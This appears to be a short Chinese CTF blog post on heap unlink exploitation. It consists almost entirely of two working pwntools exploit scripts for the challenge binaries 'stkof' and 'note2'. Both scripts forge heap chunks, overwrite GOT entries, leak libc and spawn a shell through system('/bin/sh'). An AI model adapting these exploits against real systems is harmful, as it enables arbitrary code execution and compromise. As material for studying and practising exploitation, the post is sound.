pwn 堆入门之unlink

stkof

#!/usr/bin/env python2
from pwn import *

arch = "amd64"
filename = "stkof"

context(os="linux", arch=arch, log_level="debug")
content = 0

#elf
elf = ELF(filename)
fgets_addr=0x0000000000400D16
fill_addr=0x00000000004009E8
free_got=elf.got['free']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
#libc
libc=ELF("libc.so.6")
puts_libc=libc.symbols['puts']
sys_libc=libc.symbols['system']

def alloc(size):
    io.sendline('1')
    io.sendline(str(size))

def fill(idx,size,payload):
    io.sendline('2')
    io.sendline(str(idx))
    io.sendline(str(size))
    io.send(payload)

def free(idx):
    io.sendline('3')
    io.sendline(str(idx))

def p(idx):
    io.sendline('4')
    io.sendline(str(idx))

def b(addr):
    bk = "b *" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    alloc(0x40)
    alloc(0x40)
    alloc(0x90)
    alloc(0x40)
    target=0x602150
    fakefd=target-0x18
    fakebk=target-0x10
    payload=p64(0)+p64(0x40)+p64(fakefd)+p64(fakebk)+b'a'*(0x20)+p64(0x40)+p64(0xa0)#+p64(fakefd)+p64(fakebk)
    #b(fill_addr)
    fill(2,len(payload),payload)
    #b(fgets_addr)
    free(3)
    #write_free_got
    #leak_payload
    payload=p64(0)+p64(0)+p64(free_got)+p64(puts_got)
    fill(2,len(payload),payload)
    payload=p64(puts_plt)
    fill(1,len(payload),payload)
    #b(fgets_addr)
    #leak---puts(puts_got)
    free(2)
    puts_addr=io.recvuntil("\x7f")[-6:].ljust(8,b'\x00')
    puts_addr=u64(puts_addr)
    print("puts_addr:",hex(puts_addr))
    #b(fgets_addr)
    #count
    libcbase=puts_addr-puts_libc
    sys_addr=libcbase+sys_libc
    #getshell_payload
    payload = p64(sys_addr)
    fill(1,len(payload), payload)
    payload=b'/bin/sh\x00'
    fill(4,len(payload), payload)
    #getshell---system("/bin/sh")
    free(4)
    io.interactive()
main()

note2

#!/usr/bin/env python2
from pwn import *

arch = "amd64"
filename = "note2"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
menu_addr=0x0000000000400AFB
free_got=elf.got['free']
atoi_got=elf.got['atoi']
#puts_got=elf.got['puts']
#puts_plt=elf.plt['puts']
# libc
libc=ELF("libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
#puts_libc=libc.symbols['puts']
sys_libc=libc.symbols['system']
free_libc=libc.symbols['free']
atoi_libc=libc.symbols['atoi']
one_libc=[0x45226,0x4527a,0x4527a,0xf1207]
def new(size,content):
    io.sendline("1")
    io.sendline(str(size))
    io.sendline(content)

def show(idx):
    io.sendline("2")
    io.sendline(str(idx))

def edit(idx,idxx,content):
    io.sendline("3")
    io.sendline(str(idx))
    io.sendline(str(idxx))
    io.sendline(content)

def delete(idx):
    io.sendline("4")
    io.sendline(str(idx))

def b(addr):
    bk = "b *" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    name=b'a'
    payload=b'ssssss'
    io.sendline(name)
    io.sendline(payload)
    ###init
    target=0x0000000000602120
    fakefd=target-0x18
    fakebk=target-0x10
    payload=p64(0)+p64(0xa0)+p64(fakefd)+p64(fakebk)
    ###
    new(0x80,payload)
    new(0x0,b'aaaa')
    new(0x80,b'ssss')
    delete(1)
    #over flow
    payload = b'a' * (0x10) + p64(0xa0) + p64(0x90)
    new(0x0,payload)
    #unlink
    delete(2)

    #over_write
    payload=b'a'*(0x18)+p64(atoi_got)
    #payload = b'a' * (0x18) + p64(free_got)
    ##+p64(fakefd)+p64(free_got)+p64(puts_got)+p64(puts_got)

    edit(0,1,payload)
    #b(menu_addr)
    show(0)
    atoi_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
    print("atoi_addr:", hex(atoi_addr))
    #free_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
    #print("free_addr:",hex(free_addr))

    #count
    libcbase = atoi_addr - atoi_libc
    #libcbase=free_addr-free_libc
    print("libcbase:",hex(libcbase))
    #b(menu_addr)
    sys_addr=libcbase+sys_libc
    onegadget=libcbase+one_libc[3]
    #change free->one[2],one[3]
    #change atoi->one[3]
    #getshell
    #edit(0,1,p64(onegadget))
    edit(0, 1, p64(sys_addr))
    io.sendline(b"/bin/sh\x00")
    #delete(0)
    io.interactive()
main()